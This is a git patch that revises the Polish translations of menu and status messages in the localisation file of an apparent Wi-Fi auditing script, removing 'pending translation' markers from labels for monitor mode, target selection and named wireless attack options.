language_strings() { arr["RUSSIAN",18]="Переводим ваш интерфейс в режим монитора..." arr["GREEK",18]="Ενεργοποιείται η κατάσταση παρακολούθησης στην διεπαφή..." arr["ITALIAN",18]="Mettendo l'interfaccia modalità monitor..." - arr["POLISH",18]="${pending_of_translation} Ustawianie interfejsu w trybie monitorowania..." + arr["POLISH",18]="Ustawianie interfejsu w trybie monitorowania..." arr["ENGLISH",19]="Please be patient. Maybe killing some conflicting processes..." arr["SPANISH",19]="Por favor ten paciencia. Puede que esté matando algunos procesos que podrían causar conflicto..." @@ -668,7 +668,7 @@ function language_strings() { arr["RUSSIAN",19]="Пожалуйста, подождите. Возможно завершение некоторых конфликтующих процессов..." arr["GREEK",19]="Παρακαλώ δείξτε υπομονή. Ίσως τερματίζουν κάποιες εμπλέκουσες διεργασίες..." arr["ITALIAN",19]="Si prega di essere pazienti. Puó eessre che si stiano terminando alcuni processi che potrebbero causare un conflitto..." - arr["POLISH",19]="${pending_of_translation} Proszę, bądź cierpliwy. Może zabijać niektóre procesy, które mogłyby powodować konflikty..." + arr["POLISH",19]="Cierpliwości. Zakańczam procesy, które mogłyby powodować konflikty..." arr["ENGLISH",20]="This interface ${current_iface_on_messages} doesn't support monitor mode" arr["SPANISH",20]="Esta interfaz ${current_iface_on_messages} no soporta modo monitor" @@ -678,7 +678,7 @@ function language_strings() { arr["RUSSIAN",20]="Этот интерфейс ${current_iface_on_messages} не поддерживает режим монитора" arr["GREEK",20]="Αυτή η διεπαφή ${current_iface_on_messages} δεν υποστηρίζει κατάσταση παρακολούθησης" arr["ITALIAN",20]="Questa interfaccia ${current_iface_on_messages} non supporta la modalità monitor" - arr["POLISH",20]="${pending_of_translation} Interfejs ${current_iface_on_messages} nie obsługuje trybu monitorowania" + arr["POLISH",20]="Interfejs ${current_iface_on_messages} nie obsługuje trybu monitorowania" arr["ENGLISH",21]="The interface changed its name while putting in monitor mode. Autoselected" arr["SPANISH",21]="Esta interfaz ha cambiado su nombre al ponerla en modo monitor. Se ha seleccionado automáticamente" @@ -688,7 +688,7 @@ function language_strings() { arr["RUSSIAN",21]="Этот интерфейс изменил своё имя во время перевода в режим монитора. Выбран автоматически" arr["GREEK",21]="Η διεπαφή άλλαξε όνομα καθώς ήταν σε κατάσταση παρακολούθησης" arr["ITALIAN",21]="Questa interfaccia ha cambiato il suo nome passando in modalità monitor. È stata selezionata automaticamente" - arr["POLISH",21]="${pending_of_translation} Ten interfejs zmienił nazwę po umieszczeniu go w trybie monitora. Automatycznie zaznaczone" + arr["POLISH",21]="Ten interfejs zmienił nazwę w trakcie uruchamiania trybu monitorowania. Wybrany automatycznie" arr["ENGLISH",22]="Monitor mode now is set on ${current_iface_on_messages}" arr["SPANISH",22]="Se ha puesto el modo monitor en ${current_iface_on_messages}" @@ -698,7 +698,7 @@ function language_strings() { arr["RUSSIAN",22]="Режим монитора установлен на ${current_iface_on_messages}" arr["GREEK",22]="Η διεπαφή ${current_iface_on_messages} είναι τώρα σε κατάσταση παρακολούθησης" arr["ITALIAN",22]="È stato impostato il modo monitor in ${current_iface_on_messages}" - arr["POLISH",22]="${pending_of_translation} Tryb monitora został ustawiony na ${current_iface_on_messages}" + arr["POLISH",22]="Tryb monitorowania został ustawiony na ${current_iface_on_messages}" arr["ENGLISH",23]="There is a problem with the interface selected. Redirecting you to script exit" arr["SPANISH",23]="Hay un problema con la interfaz seleccionada. Redirigiendo a la salida del script" @@ -708,7 +708,7 @@ function language_strings() { arr["RUSSIAN",23]="Проблема с выбранным интерфейсом. Перенаправляем вас к выходу из скрипта" arr["GREEK",23]="Υπάρχει πρόβλημε με την επιλεγμένη διεπαφή. Θα καθοδηγηθείτε στην έξοδο του script" arr["ITALIAN",23]="C'è un problema con l'interfaccia selezionata. Reindirizzando l'output dello script" - arr["POLISH",23]="${pending_of_translation} Wystąpił problem z wybranym interfejsem. Przekierowanie do wyjścia skryptu" + arr["POLISH",23]="Wystąpił problem z wybranym interfejsem. Przekierowanie do wyjścia ze skryptu" arr["ENGLISH",24]="Select an interface to work with :" arr["SPANISH",24]="Selecciona una interfaz para trabajar con ella :" @@ -718,7 +718,7 @@ function language_strings() { arr["RUSSIAN",24]="Выберите интерфейс для работы :" arr["GREEK",24]="Επιλέξτε διεπαφή :" arr["ITALIAN",24]="Seleziona un'interfaccia con cui lavorare :" - arr["POLISH",24]="${pending_of_translation} Wybierz interfejs do pracy z :" + arr["POLISH",24]="Wybierz interfejs :" arr["ENGLISH",25]="Set channel (1-14) :" arr["SPANISH",25]="Selecciona un canal (1-14) :" @@ -728,7 +728,7 @@ function language_strings() { arr["RUSSIAN",25]="Установите канал (1-14) :" arr["GREEK",25]="Θέστε κανάλι (1-14) :" arr["ITALIAN",25]="Seleziona un canale (1-14) :" - arr["POLISH",25]="${pending_of_translation} Wybierz kanał (1-14) :" + arr["POLISH",25]="Wybierz kanał (1-14) :" arr["ENGLISH",26]="Channel set to ${normal_color}${channel}" arr["SPANISH",26]="Canal elegido ${normal_color}${channel}" @@ -738,7 +738,7 @@ function language_strings() { arr["RUSSIAN",26]="Канал установлен на ${normal_color}${channel}" arr["GREEK",26]="Το κανάλι ${normal_color}${channel}${blue_color} έχει επιλεχθεί" arr["ITALIAN",26]="Canale selezionato ${normal_color}${channel}" - arr["POLISH",26]="${pending_of_translation} Wybrany kanał ${normal_color}${channel}" + arr["POLISH",26]="Wybrany kanał ${normal_color}${channel}" arr["ENGLISH",27]="Type target BSSID (example: 00:11:22:33:44:55) :" arr["SPANISH",27]="Escribe el BSSID objetivo (ejemplo: 00:11:22:33:44:55) :" @@ -748,7 +748,7 @@ function language_strings() { arr["RUSSIAN",27]="Введите BSSID цели (пример: 00:11:22:33:44:55) :" arr["GREEK",27]="Πληκτρολογήστε BSSID στόχου (παράδειγμα: 00:11:22:33:44:55) :" arr["ITALIAN",27]="Scrivere l'BSSID obiettivo (es: 00:11:22:33:44:55) :" - arr["POLISH",27]="${pending_of_translation} Wpisz docelowy BSSID (przykład: 00:11:22:33:44:55) :" + arr["POLISH",27]="Wpisz BSSID celu (przykład: 00:11:22:33:44:55) :" arr["ENGLISH",28]="BSSID set to ${normal_color}${bssid}" arr["SPANISH",28]="BSSID elegido ${normal_color}${bssid}" @@ -758,7 +758,7 @@ function language_strings() { arr["RUSSIAN",28]="BSSID установлена на ${normal_color}${bssid}" arr["GREEK",28]="Το BSSID τέθηκε σε ${normal_color}${bssid}" arr["ITALIAN",28]="BSSID selezionato ${normal_color}${bssid}" - arr["POLISH",28]="${pending_of_translation} BSSID wybrano ${normal_color}${bssid}" + arr["POLISH",28]="Wybrany BSSID ${normal_color}${bssid}" arr["ENGLISH",29]="Type target ESSID :" arr["SPANISH",29]="Escribe el ESSID objetivo :" @@ -768,7 +768,7 @@ function language_strings() { arr["RUSSIAN",29]="Введите BSSID цели :" arr["GREEK",29]="Πληκτρολογήστε ESSID στόχου :" arr["ITALIAN",29]="Scrivere l'ESSID obiettivo :" - arr["POLISH",29]="${pending_of_translation} Napisz cel ESSID :" + arr["POLISH",29]="Wpisz ESSID celu :" arr["ENGLISH",30]="You have selected a hidden network ESSID. Can't be used. Select another one or perform a BSSID based attack instead of this" arr["SPANISH",30]="Has seleccionado un ESSID de red oculta. No se puede usar. Selecciona otro o ejecuta un ataque basado en BSSID en lugar de este" @@ -778,7 +778,7 @@ function language_strings() { arr["RUSSIAN",30]="Вы выбрали сеть со скрытым ESSID. Использование невозможно. Выберите другую или вместо этой выполните атаку, основанную на BSSID" arr["GREEK",30]="Επιλέξατε ESSID κρυφού δικτύου. Δεν μπορεί να χρησιμοποιηθεί. Επιλέξτε κάποιο άλλο ή ξεκινήστε μία επίθεση βασισμένη στο BSSID αντί αυτού" arr["ITALIAN",30]="È stata selezionata una rete ESSID nascosta. Non puó essere utilizzata. Selezionare un altro o eseguire un attacco basato in BSSID invece di questo" - arr["POLISH",30]="${pending_of_translation} Wybrałeś ukrytą sieć ESSID. Nie można jej używać. Wybierz inny lub uruchom atak oparty na BSSID zamiast tego" + arr["POLISH",30]="Wybrałeś ukrytą sieć ESSID. Nie można jej używać. Wybierz inną lub uruchom atak oparty na BSSID" arr["ENGLISH",31]="ESSID set to ${normal_color}${essid}" arr["SPANISH",31]="ESSID elegido ${normal_color}${essid}" @@ -788,7 +788,7 @@ function language_strings() { arr["RUSSIAN",31]="ESSID установлена на ${normal_color}${essid}" arr["GREEK",31]="Το ESSID τέθηκε σε ${normal_color}${essid}" arr["ITALIAN",31]="ESSID selezionato ${normal_color}${essid}" - arr["POLISH",31]="${pending_of_translation} ESSID wybrano ${normal_color}${essid}" + arr["POLISH",31]="Wybrany ESSID ${normal_color}${essid}" arr["ENGLISH",32]="All parameters set" arr["SPANISH",32]="Todos los parámetros están listos" @@ -798,7 +798,7 @@ function language_strings() { arr["RUSSIAN",32]="Все параметры установлены" arr["GREEK",32]="Έχουν τεθεί όλοι οι παράμετροι" arr["ITALIAN",32]="Tutti i parametri sono pronti" - arr["POLISH",32]="${pending_of_translation} Wszystkie parametry są gotowe" + arr["POLISH",32]="Wszystkie parametry są gotowe" arr["ENGLISH",33]="Starting attack. When started, press [Ctrl+C] to stop..." arr["SPANISH",33]="Comenzando ataque. Una vez empezado, pulse [Ctrl+C] para pararlo..." @@ -808,7 +808,7 @@ function language_strings() { arr["RUSSIAN",33]="Атака запускается. Нажмите [Ctrl+C] для остановки..." arr["GREEK",33]="Έναρξη επίθεσης. Όταν ξεκινήσει, πατήστε [Ctrl+C] για να σταματήσει..." arr["ITALIAN",33]="Cominciando l'attacco. Una volta avviato, premere [Ctrl+C] per fermare..." - arr["POLISH",33]="${pending_of_translation} Uruchomienie ataku. Po rozpoczęciu naciśnij [Ctrl+C], aby go zatrzymać..." + arr["POLISH",33]="Uruchomienie ataku. Waciśnij [Ctrl+C] w trakcie działania, aby go przerwać..." arr["ENGLISH",34]="Selected interface ${current_iface_on_messages} is in monitor mode. Attack can be performed" arr["SPANISH",34]="La interfaz seleccionada ${current_iface_on_messages} está en modo monitor. El ataque se puede realizar" @@ -818,7 +818,7 @@ function language_strings() { arr["RUSSIAN",34]="Выбранный интерфейс ${current_iface_on_messages} в режиме монитора. Можно выполнить атаку" arr["GREEK",34]="Η επιλεγμένη διεπαφή ${current_iface_on_messages} είναι σε κατάσταση παρακολούθησης. Μπορεί να γίνει επίθεση" arr["ITALIAN",34]="L'interfaccia selezionata ${current_iface_on_messages} è in modalità monitor. L'attacco può essere eseguito" - arr["POLISH",34]="${pending_of_translation} Wybrany interfejs ${current_iface_on_messages} jest w trybie monitorowania. Atak można wykonać" + arr["POLISH",34]="Wybrany interfejs ${current_iface_on_messages} jest w trybie monitorowania. Można wykonać atak" arr["ENGLISH",35]="Deauthentication / Dissasociation mdk3 attack chosen (monitor mode needed)" arr["SPANISH",35]="Elegido ataque de Desautenticación / Desasociación mdk3 (modo monitor requerido)" From 17f805f03c3c590815de72060aa08d06c83497d3 Mon Sep 17 00:00:00 2001 From: dodg3rmaq <33019262+dodg3rmaq@users.noreply.github.com> Date: Fri, 17 Nov 2017 19:54:05 +0100 Subject: [PATCH 60/70] Update language_strings.sh --- language_strings.sh | 108 ++++++++++++++++++++++---------------------- 1 file changed, 54 insertions(+), 54 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 6a3e0ff1a..e083f8061 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -828,7 +828,7 @@ function language_strings() { arr["RUSSIAN",35]="Выбрана mdk3 атака Деаутентификации / Разъединения (необходим режим монитора)" arr["GREEK",35]="Deauthentication / Έχει επιλεχθεί επίθεση dissasociation mdk3 (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",35]="Attacco Deauth / Disassociation mdk3 scelto (modalità monitor richiesta)" - arr["POLISH",35]="${pending_of_translation} Wybrany atak Deauthentication / Disassociation mdk3 (wymagany tryb monitorowania)" + arr["POLISH",35]="Wybrano atak Deauthentication / Disassociation mdk3 (wymagany tryb monitorowania)" arr["ENGLISH",36]="Deauthentication aireplay attack chosen (monitor mode needed)" arr["SPANISH",36]="Elegido ataque de Desautenticación aireplay (modo monitor requerido)" @@ -838,7 +838,7 @@ function language_strings() { arr["RUSSIAN",36]="Выбрана aireplay атака Деаутентификации (необходим режим монитора)" arr["GREEK",36]="Έχει επιλεχθεί επίθεση deauthentication aireplay (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",36]="Attacco Deauth aireplay scelto (modalità monitor richiesta)" - arr["POLISH",36]="${pending_of_translation} Wybrany atak Deauthentication aireplay (wymagany tryb monitora)" + arr["POLISH",36]="Wybrano atak Deauthentication aireplay (wymagany tryb monitorowania)" arr["ENGLISH",37]="WIDS / WIPS / WDS Confusion attack chosen (monitor mode needed)" arr["SPANISH",37]="Elegido ataque Confusion WIDS / WIPS / WDS (modo monitor requerido)" @@ -848,7 +848,7 @@ function language_strings() { arr["RUSSIAN",37]="Выбрана атака запутывания WIDS / WIPS / WDS (необходим режим монитора)" arr["GREEK",37]="Έχει επιλεχθεί επίθεση σύγχυσης WIDS / WIPS / WDS (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",37]="Attacco Confusion / WIDS / WIPS / WDS scelto (modalità monitor richiesta)" - arr["POLISH",37]="${pending_of_translation} Wybrane ataki typu WIDS / WIPS / WDS Confusion (wymagany tryb monitora)" + arr["POLISH",37]="Wybrano ataki typu WIDS / WIPS / WDS Confusion (wymagany tryb monitorowania)" arr["ENGLISH",38]="Beacon flood attack chosen (monitor mode needed)" arr["SPANISH",38]="Elegido ataque Beacon flood (modo monitor requerido)" @@ -858,7 +858,7 @@ function language_strings() { arr["RUSSIAN",38]="Выбрана атака флуда маяками (необходим режим монитора)" arr["GREEK",38]="Έχει επιλεχθεί επίθεση πλημμύρας φάρου (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",38]="Attacco Beacon flood scelto (modalità monitor richiesta)" - arr["POLISH",38]="${pending_of_translation} Wybrany atak Beacon flood (wymagany tryb monitora)" + arr["POLISH",38]="Wybrano atak Beacon flood (wymagany tryb monitorowania)" arr["ENGLISH",39]="Auth DoS attack chosen (monitor mode needed)" arr["SPANISH",39]="Elegido ataque Auth DoS (modo monitor requerido)" @@ -868,7 +868,7 @@ function language_strings() { arr["RUSSIAN",39]="Выбрана атака Auth DoS (необходим режим монитора)" arr["GREEK",39]="Έχει επιλεχθεί επίθεση Auth DoS (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",39]="Attacco DoS Auth scelto (modalità monitor richiesta)" - arr["POLISH",39]="${pending_of_translation} Wybrany atak DoS Auth (wymagany tryb monitora)" + arr["POLISH",39]="Wybrano atak DoS Auth (wymagany tryb monitorowania)" arr["ENGLISH",40]="Michael Shutdown (TKIP) attack chosen (monitor mode needed)" arr["SPANISH",40]="Elegido ataque Michael Shutdown (TKIP) (modo monitor requerido)" @@ -878,7 +878,7 @@ function language_strings() { arr["RUSSIAN",40]="Выбрана атака Michael Shutdown (TKIP) (необходим режим монитора)" arr["GREEK",40]="Έχει επιλεχθεί επίθεση Michael Shutdown (TKIP) (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",40]="Attacco Michael Shutdown (TKIP) scelto (modalità monitor richiesta)" - arr["POLISH",40]="${pending_of_translation} Wybrany Michael Shutdown attack (TKIP) (wymagany tryb monitorowania)" + arr["POLISH",40]="Wybrano atak Michael Shutdown (TKIP) (wymagany tryb monitorowania)" arr["ENGLISH",41]="No interface selected. You'll be redirected to select one" arr["SPANISH",41]="No hay interfaz seleccionada. Serás redirigido para seleccionar una" @@ -888,7 +888,7 @@ function language_strings() { arr["RUSSIAN",41]="Интерфейс не выбран. Вы будете перенаправлены на выбор интерфейса" arr["GREEK",41]="Δεν έχει επιλεχθεί κάποια διεπαφή. Θα καθοδηγηθείτε για να επιλέξετε μία" arr["ITALIAN",41]="Nessuna interfaccia selezionata. Sarai reindirizzato per selezionarne una" - arr["POLISH",41]="${pending_of_translation} Nie wybrano interfejsu. Zostaniesz przekierowany, aby wybrać a" + arr["POLISH",41]="Nie wybrano interfejsu. Zostaniesz przekierowany, aby któryś wybrać" arr["ENGLISH",42]="Interface ${pink_color}${current_iface_on_messages}${blue_color} selected. Mode: ${pink_color}${ifacemode}${normal_color}" arr["SPANISH",42]="Interfaz ${pink_color}${current_iface_on_messages}${blue_color} seleccionada. Modo: ${pink_color}${ifacemode}${normal_color}" @@ -898,7 +898,7 @@ function language_strings() { arr["RUSSIAN",42]="Интерфейс ${pink_color}${current_iface_on_messages}${blue_color} выбран. Режим: ${pink_color}${ifacemode}${normal_color}" arr["GREEK",42]="Η διεπαφή ${pink_color}${current_iface_on_messages}${blue_color} έχει επιλεχθεί. Κατάσταση: ${pink_color}${ifacemode}${normal_color}" arr["ITALIAN",42]="Interfaccia ${pink_color}${current_iface_on_messages}${blue_color} selezionata. Modalità: ${pink_color}${ifacemode}${normal_color}" - arr["POLISH",42]="${pending_of_translation} Interfejs ${pink_color}${current_iface_on_messages}${blue_color} został wybrany. Tryb: ${pink_color}${ifacemode}${normal_color}" + arr["POLISH",42]="Interfejs ${pink_color}${current_iface_on_messages}${blue_color} został wybrany. Tryb: ${pink_color}${ifacemode}${normal_color}" arr["ENGLISH",43]="Selected BSSID: ${pink_color}${bssid}${normal_color}" arr["SPANISH",43]="BSSID seleccionado: ${pink_color}${bssid}${normal_color}" @@ -908,7 +908,7 @@ function language_strings() { arr["RUSSIAN",43]="Выбранный BSSID: ${pink_color}${bssid}${normal_color}" arr["GREEK",43]="Επιλεγμένο BSSID: ${pink_color}${bssid}${normal_color}" arr["ITALIAN",43]="BSSID selezionato: ${pink_color}${bssid}${normal_color}" - arr["POLISH",43]="${pending_of_translation} " + arr["POLISH",43]="Wybrany BSSID: ${pink_color}${bssid}${normal_color}" arr["ENGLISH",44]="Selected channel: ${pink_color}${channel}${normal_color}" arr["SPANISH",44]="Canal seleccionado: ${pink_color}${channel}${normal_color}" @@ -918,7 +918,7 @@ function language_strings() { arr["RUSSIAN",44]="Выбранный канал: ${pink_color}${channel}${normal_color}" arr["GREEK",44]="Επιλεγμένο κανάλι: ${pink_color}${channel}${normal_color}" arr["ITALIAN",44]="Canale selezionato: ${pink_color}${channel}${normal_color}" - arr["POLISH",44]="${pending_of_translation} Wybrano BSSID: ${pink_color}${channel}${normal_color}" + arr["POLISH",44]="Wybrany kanał: ${pink_color}${channel}${normal_color}" arr["ENGLISH",45]="Selected ESSID: ${pink_color}${essid}${blue_color} <- can't be used" arr["SPANISH",45]="ESSID seleccionado: ${pink_color}${essid}${blue_color} <- no se puede usar" @@ -928,7 +928,7 @@ function language_strings() { arr["RUSSIAN",45]="Выбранный ESSID: ${pink_color}${essid}${blue_color} <- не может быть использован" arr["GREEK",45]="Επιλεγμένο ESSID: ${pink_color}${essid}${blue_color} <- δεν μπορεί να χρησιμοποιηθεί" arr["ITALIAN",45]="ESSID selezionato: ${pink_color}${essid}${blue_color} <- non può essere utilizzato" - arr["POLISH",45]="${pending_of_translation} Wybrano ESSID: ${pink_color}${essid}${blue_color} <- nie można używać" + arr["POLISH",45]="Wybrany ESSID: ${pink_color}${essid}${blue_color} <- nie można używać" arr["ENGLISH",46]="Selected ESSID: ${pink_color}${essid}${normal_color}" arr["SPANISH",46]="ESSID seleccionado: ${pink_color}${essid}${normal_color}" @@ -938,7 +938,7 @@ function language_strings() { arr["RUSSIAN",46]="Выбранный ESSID: ${pink_color}${essid}${normal_color}" arr["GREEK",46]="Επιλεγμένο ESSID: ${pink_color}${essid}${normal_color}" arr["ITALIAN",46]="ESSID selezionato: ${pink_color}${essid}${normal_color}" - arr["POLISH",46]="${pending_of_translation} Wybrano ESSID: ${pink_color}${essid}${normal_color}" + arr["POLISH",46]="Wybrano ESSID: ${pink_color}${essid}${normal_color}" arr["ENGLISH",47]="Select an option from menu :" arr["SPANISH",47]="Selecciona una opción del menú :" @@ -948,7 +948,7 @@ function language_strings() { arr["RUSSIAN",47]="Выбор опции из меню :" arr["GREEK",47]="Επιλέξτε μία επιλογή από το μενού :" arr["ITALIAN",47]="Selezionare un'opzione del menú :" - arr["POLISH",47]="${pending_of_translation} Wybierz z menu opcję :" + arr["POLISH",47]="Wybierz opcję z menu:" arr["ENGLISH",48]="1. Select another network interface" arr["SPANISH",48]="1. Selecciona otra interfaz de red" @@ -958,7 +958,7 @@ function language_strings() { arr["RUSSIAN",48]="1. Выбрать другой сетевой интерфейс" arr["GREEK",48]="1. Επιλογή διαφορετικής διεπαφής" arr["ITALIAN",48]="1. Selezionare un'altra interfaccia di rete" - arr["POLISH",48]="${pending_of_translation} 1. Wybierz inny interfejs sieciowy" + arr["POLISH",48]="1. Wybierz inny interfejs sieciowy" arr["ENGLISH",49]="4. Explore for targets (monitor mode needed)" arr["SPANISH",49]="4. Explorar para buscar objetivos (modo monitor requerido)" @@ -968,7 +968,7 @@ function language_strings() { arr["RUSSIAN",49]="4. Поиск целей (необходим режим монитора)" arr["GREEK",49]="4. Εξερεύνηση στόχων (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",49]="4. Esplora per cercare obiettivi (modalità monitor richiesta)" - arr["POLISH",49]="${pending_of_translation} 4. Skanowanie, aby znaleźć cele (wymagany tryb monitorowania)" + arr["POLISH",49]="4. Skanowanie możliwych celów (wymagany tryb monitorowania)" arr["ENGLISH",50]="monitor mode needed for attacks" arr["SPANISH",50]="modo monitor requerido en ataques" @@ -978,7 +978,7 @@ function language_strings() { arr["RUSSIAN",50]="для атак необходим режим монитора" arr["GREEK",50]="χρειάζεται η κατάσταση παρακολούθησης για τις επιθέσεις" arr["ITALIAN",50]="Modalità monitor richiesta per gli attacchi" - arr["POLISH",50]="${pending_of_translation} wymagany tryb monitorowania" + arr["POLISH",50]="Wymagany tryb monitorowania do wykonania ataku" arr["ENGLISH",51]="5. Deauth / disassoc amok mdk3 attack" arr["SPANISH",51]="5. Ataque Deauth / Disassoc amok mdk3" @@ -988,7 +988,7 @@ function language_strings() { arr["RUSSIAN",51]="5. Атака деаутентификации / разъединения amok mdk3" arr["GREEK",51]="5. Επίθεση Deauth / Disassoc amok mdk3" arr["ITALIAN",51]="5. Attacco Deauth / Disassoc amok mdk3" - arr["POLISH",51]="${pending_of_translation} 5. Atak Deauth / Disassoc amok mdk3" + arr["POLISH",51]="5. Atak Deauth / Disassoc amok mdk3" arr["ENGLISH",52]="6. Deauth aireplay attack" arr["SPANISH",52]="6. Ataque Deauth aireplay" @@ -998,7 +998,7 @@ function language_strings() { arr["RUSSIAN",52]="6. Атака деаутентификации aireplay" arr["GREEK",52]="6. Επίθεση Deauth aireplay" arr["ITALIAN",52]="6. Attacco Deauth aireplay" - arr["POLISH",52]="${pending_of_translation} 6. Atak Deauth aireplay" + arr["POLISH",52]="6. Atak Deauth aireplay" arr["ENGLISH",53]="7. WIDS / WIPS / WDS Confusion attack" arr["SPANISH",53]="7. Ataque WIDS / WIPS / WDS Confusion" @@ -1008,7 +1008,7 @@ function language_strings() { arr["RUSSIAN",53]="7. Атака смешения WIDS / WIPS / WDS" arr["GREEK",53]="7. Επίθεση σύγχυσης WIDS / WIPS / WDS" arr["ITALIAN",53]="7. Attacco WIDS / WIPS / WDS Confusion" - arr["POLISH",53]="${pending_of_translation} 7. Ataki WIDS / WIPS / WDS" + arr["POLISH",53]="7. Ataki WIDS / WIPS / WDS" arr["ENGLISH",54]="old \"obsolete/non very effective\" attacks" arr["SPANISH",54]="antiguos ataques \"obsoletos/no muy efectivos\"" @@ -1018,7 +1018,7 @@ function language_strings() { arr["RUSSIAN",54]="старые \"абсолютно/не очень эффективные\" атаки" arr["GREEK",54]="παλιές \"απαρχαιωμένες/όχι και τόσο αποδοτικές\" επιθέσεις" arr["ITALIAN",54]="vecchi attacchi \"obsoleti/non molto efficaci\"" - arr["POLISH",54]="${pending_of_translation} stare ataki \"przestarzałe/niezbyt skuteczne\"" + arr["POLISH",54]="stare ataki \"przestarzałe/niezbyt skuteczne\"" arr["ENGLISH",55]="2. Put interface in monitor mode" arr["SPANISH",55]="2. Poner la interfaz en modo monitor" @@ -1028,7 +1028,7 @@ function language_strings() { arr["RUSSIAN",55]="2. Перевести интерфейс в режим монитора" arr["GREEK",55]="2. Βάλτε τη διεπαφή σε κατάσταση παρακολούθησης" arr["ITALIAN",55]="2. Mettere l'interfaccia in modalità monitor" - arr["POLISH",55]="${pending_of_translation} 2. Umieść interfejs w trybie monitora" + arr["POLISH",55]="2. Uruchom interfejs w trybie monitorowania" arr["ENGLISH",56]="3. Put interface in managed mode" arr["SPANISH",56]="3. Poner la interfaz en modo managed" @@ -1038,7 +1038,7 @@ function language_strings() { arr["RUSSIAN",56]="3. Перевести интерфейс в управляемый режим" arr["GREEK",56]="3. Βάλτε τη διεπαφή σε ετερόκλητη κατάσταση" arr["ITALIAN",56]="3. Mettere l'interfaccia in modalità managed" - arr["POLISH",56]="${pending_of_translation} 3. Umieść interfejs w trybie zarządzanym" + arr["POLISH",56]="3. Uruchom interfejs w trybie zarządzanym" arr["ENGLISH",57]="Language changed to Polish" arr["SPANISH",57]="Idioma cambiado a Polaco" @@ -1048,7 +1048,7 @@ function language_strings() { arr["RUSSIAN",57]="Язык изменён на польский" arr["GREEK",57]="Η γλώσσα άλλαξε στα Πολωνικά" arr["ITALIAN",57]="Lingua cambiata a Polacco" - arr["POLISH",57]="${pending_of_translation} Język zmienił się na Polski" + arr["POLISH",57]="Zmieniono język na Polski" arr["ENGLISH",58]="9. Polish" arr["SPANISH",58]="9. Polaco" @@ -1068,7 +1068,7 @@ function language_strings() { arr["RUSSIAN",59]="11. Вернуться в главное меню" arr["GREEK",59]="11. Επιστροφή στο αρχικό μενού" arr["ITALIAN",59]="11. Torna al menu principale" - arr["POLISH",59]="${pending_of_translation} 11. Wróć do menu głównego" + arr["POLISH",59]="11. Wróć do menu głównego" arr["ENGLISH",60]="10. About & Credits" arr["SPANISH",60]="10. Acerca de & Créditos" @@ -1078,7 +1078,7 @@ function language_strings() { arr["RUSSIAN",60]="10. О программе и Благодарности" arr["GREEK",60]="10. Σχετικά με & Εύσημα" arr["ITALIAN",60]="10. Informazioni & Credits" - arr["POLISH",60]="${pending_of_translation} 10. O & Kredyty" + arr["POLISH",60]="10. O programie & Podziękowania" arr["ENGLISH",61]="12. Exit script" arr["SPANISH",61]="12. Salir del script" @@ -1088,7 +1088,7 @@ function language_strings() { arr["RUSSIAN",61]="12. Выйти из скрипта" arr["GREEK",61]="12. Έξοδος script" arr["ITALIAN",61]="12. Uscire dallo script" - arr["POLISH",61]="${pending_of_translation} 12. Zamknij skrypt" + arr["POLISH",61]="12. Zamknij skrypt" arr["ENGLISH",62]="8. Beacon flood attack" arr["SPANISH",62]="8. Ataque Beacon flood" @@ -1098,7 +1098,7 @@ function language_strings() { arr["RUSSIAN",62]="8. Атака флудом маяков (beacon)" arr["GREEK",62]="8. Επίθεση πλημμύρας φάρου (beacon)" arr["ITALIAN",62]="8. Attacco Beacon flood" - arr["POLISH",62]="${pending_of_translation} 8. Atak Beacon flood" + arr["POLISH",62]="8. Atak Beacon flood" arr["ENGLISH",63]="9. Auth DoS attack" arr["SPANISH",63]="9. Ataque Auth DoS" @@ -1108,7 +1108,7 @@ function language_strings() { arr["RUSSIAN",63]="9. DoS атака деаутентификации" arr["GREEK",63]="9. Επίθεση Auth DoS" arr["ITALIAN",63]="9. Attacco Auth DoS" - arr["POLISH",63]="${pending_of_translation} 9. Atak Auth DoS" + arr["POLISH",63]="9. Atak Auth DoS" arr["ENGLISH",64]="10. Michael shutdown exploitation (TKIP) attack" arr["SPANISH",64]="10. Ataque Michael shutdown exploitation (TKIP)" @@ -1118,7 +1118,7 @@ function language_strings() { arr["RUSSIAN",64]="10. Атака отключения эксплуатации от Michael (TKIP)" arr["GREEK",64]="10. Επίθεση Michael shutdown exploitation (TKIP)" arr["ITALIAN",64]="10. Attacco Michael shutdown exploitation (TKIP)" - arr["POLISH",64]="${pending_of_translation} 10. Atak Michael shutdown exploitation (TKIP)" + arr["POLISH",64]="10. Atak Michael shutdown exploitation (TKIP)" arr["ENGLISH",65]="Exploring for targets option chosen (monitor mode needed)" arr["SPANISH",65]="Elegida opción de exploración para buscar objetivos (modo monitor requerido)" @@ -1128,7 +1128,7 @@ function language_strings() { arr["RUSSIAN",65]="Выбрано сканирование целей (необходим режим монитора)" arr["GREEK",65]="Η επιλογή για εξερεύνηση στόχων έχει επιλεχθεί (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",65]="Scelta la opzione di scansione per cercare obiettivi (modalità monitor richiesta)" - arr["POLISH",65]="${pending_of_translation} Wybranie opcji skanowania w celu wyszukania celów (wymaga trybu monitorowania)" + arr["POLISH",65]="Opcja skanowania w celu wyszukania celów wybrana (wymaga trybu monitorowania)" arr["ENGLISH",66]="Selected interface ${current_iface_on_messages} is in monitor mode. Exploration can be performed" arr["SPANISH",66]="La interfaz seleccionada ${current_iface_on_messages} está en modo monitor. La exploración se puede realizar" @@ -1138,7 +1138,7 @@ function language_strings() { arr["RUSSIAN",66]="Выбранный интерфейс ${current_iface_on_messages} в режиме монитора. Сканирование может быть выполнено" arr["GREEK",66]="Η επιλεγμένη διεπαφή ${current_iface_on_messages} είναι σε κατάσταση παρακολούθησης. Μπορεί να γίνει εξερεύνηση" arr["ITALIAN",66]="L'interfaccia selezionata ${current_iface_on_messages} è in modalità monitor. La scansione può essere eseguita" - arr["POLISH",66]="${pending_of_translation} Wybrany interfejs ${current_iface_on_messages} jest w trybie monitorowania. Skanowanie można wykonać" + arr["POLISH",66]="Wybrany interfejs ${current_iface_on_messages} jest w trybie monitorowania. Można wykonać skanowanie" 